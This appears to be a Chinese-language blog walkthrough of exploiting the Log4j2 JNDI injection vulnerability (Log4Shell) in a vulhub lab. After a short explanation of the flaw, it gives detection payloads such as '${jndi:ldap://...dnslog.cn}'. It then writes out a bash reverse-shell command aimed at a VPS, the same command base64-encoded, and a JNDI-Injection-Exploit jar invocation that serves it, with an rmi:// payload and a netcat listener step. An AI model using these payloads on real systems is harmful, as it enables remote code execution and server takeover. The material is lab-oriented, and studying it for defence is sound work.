今天突然想碼字,那就寫一下log4j。
一、漏洞簡介
1.漏洞原理
Apache Log4j2 中存在JNDI注入漏洞,當程序將用戶輸入的數據進行日志記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標服務器上執行任意代碼。
通俗簡單的說就是:在打印日志的時候,如果你的日志內容中包含關鍵詞 ${,攻擊者就能將關鍵字所包含的內容當作變量來替換成任何攻擊命令,並且執行
Apache Log4j2 是一款開源的 Java 日志記錄工具,大量的業務框架都使用了該組件。此次漏洞是用於 Log4j2 提供的 lookup 功能造成的,該功能允許開發者通過一些協議去讀取相應環境中的配置。但在實現的過程中,並未對輸入進行嚴格的判斷,從而造成漏洞的發生。
2.漏洞詳情
Apache Log4j 遠程代碼執行漏洞 嚴重程度: 嚴重
由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置漏洞情況分析:Apache Log4j是一個基於Java的日志記錄組件。Apache Log4j2是Log4j的升級版本,通過重寫Log4j引入了豐富的功能特性。該日志組件被廣泛應用於業務系統開發,用以記錄程序輸入輸出日志信息。2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2遠程代碼執行漏洞。由於Log4j2組件在處理程序日志記錄時存在JNDI注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意數據,觸發Log4j2組件解析缺陷,實現目標服務器的任意代碼執行,獲得目標服務器權限。
二、環境搭建
靶機:kali2020 使用vulhub的環境
vps:ubuntu
攻擊機:win10
二、漏洞測試
我們打開漏洞的環境
其實剛開始我也沒找到這個漏洞的參數點,我也是看了教程才知道漏洞點在action參數
我們來驗證一下是否存在log4j
payload:
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://sb6vjj.dnslog.cn/exp}
我這里采用ceyep平台來驗證
發現確實存在該漏洞
三、反彈shell
既然存在漏洞,那么我們就開始准備來進行反彈shell
首先我們先寫好反彈shell的命令
bash -i >& /dev/tcp/vps_ip/9999 0>&1
里面的vps_ip是你要反彈shell的主機ip,9999是要監聽的端口。注意了,用windos系統是彈不會shell的,因為bash -i不是windows的命令。
如我這里用的是192.168.200.133,進行編碼:
編碼的站點如下:
將bash編碼的復制,然后運行漏洞利用的jar文件:
下載地址:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133"
-C是編碼后的內容,-A是反彈shell的ip地址。
注意要先nc監聽9999端口.
使用產生的payload進行攻擊rmi://192.168.200.133:1099/9mxiep
,多個payload可以換着試一試